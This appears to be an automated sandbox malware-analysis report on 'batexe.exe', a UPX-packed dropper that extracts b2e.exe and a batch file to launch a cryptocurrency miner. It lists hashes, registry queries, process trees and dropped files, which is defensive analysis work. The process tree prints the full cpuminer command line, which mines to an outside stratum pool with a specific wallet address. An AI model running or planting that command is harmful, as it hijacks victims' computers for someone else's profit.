73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
299s
platform
windows10-2004_x64
resource
win10v2004-20240221-ja
resource tags

arch:x64arch:x86image:win10v2004-20240221-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
23-02-2024 04:41

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-910440534-423636034-2318342392-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-910440534-423636034-2318342392-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
1088	b2e.exe
4832	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4832	cpuminer-sse2.exe
4832	cpuminer-sse2.exe
4832	cpuminer-sse2.exe
4832	cpuminer-sse2.exe
4832	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3124-7-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3124 wrote to memory of 1088	3124	batexe.exe	88
PID 3124 wrote to memory of 1088	3124	batexe.exe	88
PID 3124 wrote to memory of 1088	3124	batexe.exe	88
PID 1088 wrote to memory of 1936	1088	b2e.exe	89
PID 1088 wrote to memory of 1936	1088	b2e.exe	89
PID 1088 wrote to memory of 1936	1088	b2e.exe	89
PID 1936 wrote to memory of 4832	1936	cmd.exe	92
PID 1936 wrote to memory of 4832	1936	cmd.exe	92

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3124
- C:\Users\Admin\AppData\Local\Temp\5B4F.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\5B4F.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\5B4F.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1088
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\5E3D.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1936
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4832

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\5B4F.tmp\b2e.exe

Filesize
7.8MB

MD5
61372b339a2819a6b5f6eaf59168ea70

SHA1
dc21c10ee8c401a017a84ea516015043ad5c7020

SHA256
0ed93d677f96cde8eeb970d8ed3ac169976dd7b5aa03052d9a6d99edf22eaec7

SHA512
7f461026d6a289ac1cf76c78d0ec6b9d861448b9918270f05f20929a9cc50a6a69a052e651d24a95266e12d0940765e3993a2a28aa61f08f72e7cea84ba73040

Download Submit
C:\Users\Admin\AppData\Local\Temp\5B4F.tmp\b2e.exe

Filesize
3.7MB

MD5
12880ec141acb1c26d943e0b272b222b

SHA1
e1a1d1d3587a4ee7822a1aa7236df84f964f0e98

SHA256
ee0b9d79475b3a0272a23455f4cda4f3a630f5e6ade3c5c8099dfa3cbaffce9a

SHA512
de91be6fd6c00917494752a8ccbb8ee3029dff49363b46fbea59c60d6c47e935247a205c6ed1c42d81aaf00cc04337a627bd58e4ea98d199f1a6a2900e5060a6

Download Submit
C:\Users\Admin\AppData\Local\Temp\5B4F.tmp\b2e.exe

Filesize
1.7MB

MD5
11fedff8efd24240e1335bd971c71741

SHA1
ecc4a10a650e4923f40dc72ba37daee4e2677661

SHA256
adbdcaeec303aefe86e4ab47f6de0553cf04c8d6bd6816c83e058fec6c9a69ad

SHA512
0e1d0dff102dd06e902eda222b12848a9f2213fa4df129ba245ddc8b9b62c2cd3e66180bf07df7c02930bcf30d6c92bd416548a24647040bcf51c5e5bf5eb6b6

Download Submit
C:\Users\Admin\AppData\Local\Temp\5E3D.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.4MB

MD5
42ca7f0cd7077cec363c2bdac49af1e6

SHA1
9987558f2bdcb0ef4b3e3c5661ca0f769c24f4b6

SHA256
999b4430b1cf8f55e6d2669f603f15c9092a0aea3d2ac23431ba961ff2c67570

SHA512
1aba6edd599acb59e94e8b3759dc095e5900efc8114984f711debe4e25e14012121460147356630e1cd0d369f7fbe1360b66f2ac89cf3347be16a752b43218b3

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.8MB

MD5
2ecf49d723310c6705da932464ec41aa

SHA1
debe5b818a0982c608ea708415b7a8278b7ba8ef

SHA256
45189a0ab72c2a14c650b7c95f861d8472ec2225a7a2418d50d2993555261979

SHA512
632b6f164339e005a5ef0258c4010970859992bec6305948c9754c1bdf54f13acd23fa03cf1d5ae66ade3cbf454cf523dae50f598f68672b7a83cf065482609f

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.0MB

MD5
9ad7d9e2cc4e93a7026e8891c6e59c37

SHA1
550a96163ffba1d65c242bcc48252223ed336045

SHA256
63fdd5303cba6add45c5b4a7445c63787ff64a2cb69e410e9847f489c229378d

SHA512
748cafe35302d30a759268c73e043141217b4745351512449ca39d1f39cf60a6bd4c1c2a2ded378cbb8eb7d70865979d9819ec83d4088e7cc96efa015710729c

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1088-9-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1088-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3124-7-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4832-47-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/4832-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4832-46-0x000000006DDE0000-0x000000006DE78000-memory.dmp

Filesize
608KB

Download
memory/4832-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4832-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4832-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4832-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4832-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4832-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4832-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4832-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4832-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4832-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download